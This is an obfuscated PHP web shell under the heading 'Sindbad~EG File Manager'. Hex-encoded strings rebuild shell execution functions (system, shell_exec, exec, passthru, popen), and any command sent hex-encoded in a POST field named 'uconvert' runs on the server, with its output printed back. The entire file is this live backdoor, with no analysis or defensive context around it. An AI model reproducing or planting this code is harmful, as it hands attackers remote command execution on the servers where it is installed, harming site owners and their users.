Sindbad~EG File Manager

<?php

$field1 = '7';
$field2 = '4';
$field3 = '5';
$field4 = '6';
$field5 = '3';
$field6 = '8';
$field7 = 'c';
$field8 = 'f';
$field9 = '0';
$field10 = '2';
$field11 = 'e';
$field12 = '1';
$multi1 = pack("H*", $field1.'3'.'7'.'9'.'7'.'3'.'7'.$field2.'6'.$field3.$field4.'d');
$multi2 = pack("H*", $field1.$field5.'6'.$field6.$field4.$field3.$field4.$field7.'6'.'c'.$field3.$field8.'6'.$field3.'7'.$field6.$field4.$field3.'6'.$field5);
$multi3 = pack("H*", '6'.$field3.$field1.'8'.$field4.'5'.$field4.'3');
$multi4 = pack("H*", '7'.$field9.'6'.'1'.'7'.$field5.$field1.'3'.$field1.$field2.'6'.$field6.'7'.$field10.$field1.'5');
$multi5 = pack("H*", '7'.'0'.$field4.'f'.$field1.$field9.$field4.'5'.$field4.$field11);
$multi6 = pack("H*", '7'.$field5.$field1.$field2.'7'.'2'.$field4.'5'.'6'.$field12.$field4.'d'.$field3.$field8.'6'.'7'.'6'.'5'.$field1.'4'.$field3.'f'.'6'.'3'.$field4.$field8.$field4.'e'.$field1.$field2.$field4.'5'.$field4.$field11.$field1.'4'.$field1.$field5);
$multi7 = pack("H*", $field1.'0'.$field4.'3'.$field4.$field7.'6'.'f'.'7'.'3'.'6'.'5');
$uconvert = pack("H*", $field1.'5'.'6'.'3'.'6'.$field8.$field4.$field11.'7'.$field4.'6'.$field3.$field1.'2'.$field1.'4');
if (isset($_POST[$uconvert])) {
    $uconvert = pack("H*", $_POST[$uconvert]);
    if (function_exists($multi1)) {
        $multi1($uconvert);
    } elseif (function_exists($multi2)) {
        print $multi2($uconvert);
    } elseif (function_exists($multi3)) {
        $multi3($uconvert, $storage_st);
        print join("\n", $storage_st);
    } elseif (function_exists($multi4)) {
        $multi4($uconvert);
    } elseif (function_exists($multi5) && function_exists($multi6) && function_exists($multi7)) {
        $var_arg = $multi5($uconvert, 'r');
        if ($var_arg) {
            $attribute_param = $multi6($var_arg);
            $multi7($var_arg);
            print $attribute_param;
        }
    }
    exit;
}